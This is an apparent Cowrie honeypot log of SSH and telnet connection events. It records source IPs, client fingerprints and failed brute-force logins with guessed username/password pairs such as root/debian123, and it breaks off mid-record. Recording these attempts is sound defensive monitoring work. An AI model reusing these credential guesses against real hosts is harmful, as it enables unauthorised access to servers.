{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:19.451295Z","src_ip":"217.154.192.185","session":"93c8fc166e18","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"P@ssw0rdP@ssw0rd","message":"login attempt [ubuntu/P@ssw0rdP@ssw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:19.881886Z","src_ip":"217.154.192.185","session":"93c8fc166e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:20.984604Z","src_ip":"217.154.192.185","session":"93c8fc166e18","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.46222710609436,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:21.128655Z","src_ip":"102.157.157.168","session":"9c6f96fc78a1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":38664,"dst_ip":"159.203.135.109","dst_port":22,"session":"123188461ad6","protocol":"ssh","message":"New connection: 91.134.240.52:38664 (159.203.135.109:22) [session: 123188461ad6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:55.198794Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:55.205173Z","src_ip":"91.134.240.52","session":"123188461ad6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:55.285413Z","src_ip":"91.134.240.52","session":"123188461ad6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"12345678","message":"login attempt [mysql/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:55.628595Z","src_ip":"91.134.240.52","session":"123188461ad6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:00:56.709139Z","src_ip":"91.134.240.52","session":"123188461ad6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46140,"dst_ip":"159.203.135.109","dst_port":22,"session":"95a122b505ac","protocol":"ssh","message":"New connection: 159.203.92.129:46140 (159.203.135.109:22) [session: 95a122b505ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:00.826899Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:00.831587Z","src_ip":"159.203.92.129","session":"95a122b505ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:00.836351Z","src_ip":"159.203.92.129","session":"95a122b505ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ak47","password":"ak47","message":"login attempt [ak47/ak47] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:00.852005Z","src_ip":"159.203.92.129","session":"95a122b505ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:01.858234Z","src_ip":"159.203.92.129","session":"95a122b505ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":56478,"dst_ip":"159.203.135.109","dst_port":22,"session":"f142ff3e1a94","protocol":"ssh","message":"New connection: 217.154.192.185:56478 (159.203.135.109:22) [session: f142ff3e1a94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:08.587191Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:08.592019Z","src_ip":"217.154.192.185","session":"f142ff3e1a94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:08.686128Z","src_ip":"217.154.192.185","session":"f142ff3e1a94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian123","message":"login attempt [root/debian123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:09.108888Z","src_ip":"217.154.192.185","session":"f142ff3e1a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:10.209334Z","src_ip":"217.154.192.185","session":"f142ff3e1a94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00222301483154,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:39.798523Z","src_ip":"177.12.183.226","session":"345bd3475f26","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60802,"dst_ip":"10.17.0.5","dst_port":23,"session":"b546724ee503","protocol":"telnet","message":"New connection: 5.61.90.139:60802 (10.17.0.5:23) [session: b546724ee503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:40.046828Z"}
{"eventid":"cowrie.session.connect","src_ip":"177.12.183.226","src_port":29533,"dst_ip":"10.17.0.5","dst_port":23,"session":"33f110913845","protocol":"telnet","message":"New connection: 177.12.183.226:29533 (10.17.0.5:23) [session: 33f110913845]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:43.959402Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59540,"dst_ip":"159.203.135.109","dst_port":22,"session":"07b18d885d5d","protocol":"ssh","message":"New connection: 159.203.92.129:59540 (159.203.135.109:22) [session: 07b18d885d5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:46.173652Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:46.181039Z","src_ip":"159.203.92.129","session":"07b18d885d5d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:46.185951Z","src_ip":"159.203.92.129","session":"07b18d885d5d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akaluy","password":"123456","message":"login attempt [akaluy/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:46.201662Z","src_ip":"159.203.92.129","session":"07b18d885d5d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:01:47.210629Z","src_ip":"159.203.92.129","session":"07b18d885d5d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":58180,"dst_ip":"159.203.135.109","dst_port":22,"session":"f8c9508b166c","protocol":"ssh","message":"New connection: 217.154.192.185:58180 (159.203.135.109:22) [session: f8c9508b166c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:00.324870Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:00.335396Z","src_ip":"217.154.192.185","session":"f8c9508b166c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:00.434694Z","src_ip":"217.154.192.185","session":"f8c9508b166c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"testu","password":"testu","message":"login attempt [testu/testu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:00.844574Z","src_ip":"217.154.192.185","session":"f8c9508b166c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:01.942920Z","src_ip":"217.154.192.185","session":"f8c9508b166c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":34844,"dst_ip":"159.203.135.109","dst_port":22,"session":"32481eb06174","protocol":"ssh","message":"New connection: 159.203.92.129:34844 (159.203.135.109:22) [session: 32481eb06174]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:31.172128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:31.176924Z","src_ip":"159.203.92.129","session":"32481eb06174","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:31.181266Z","src_ip":"159.203.92.129","session":"32481eb06174","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"akaluy","password":"akaluy","message":"login attempt [akaluy/akaluy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:31.194576Z","src_ip":"159.203.92.129","session":"32481eb06174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:32.200552Z","src_ip":"159.203.92.129","session":"32481eb06174","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.22149443626404,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:36.268243Z","src_ip":"5.61.90.139","session":"b546724ee503","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":55228,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc823c1dad85","protocol":"ssh","message":"New connection: 91.134.240.52:55228 (159.203.135.109:22) [session: cc823c1dad85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:38.254462Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T23:02:38.259721Z","src_ip":"91.134.240.52","session":"cc823c1dad85","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512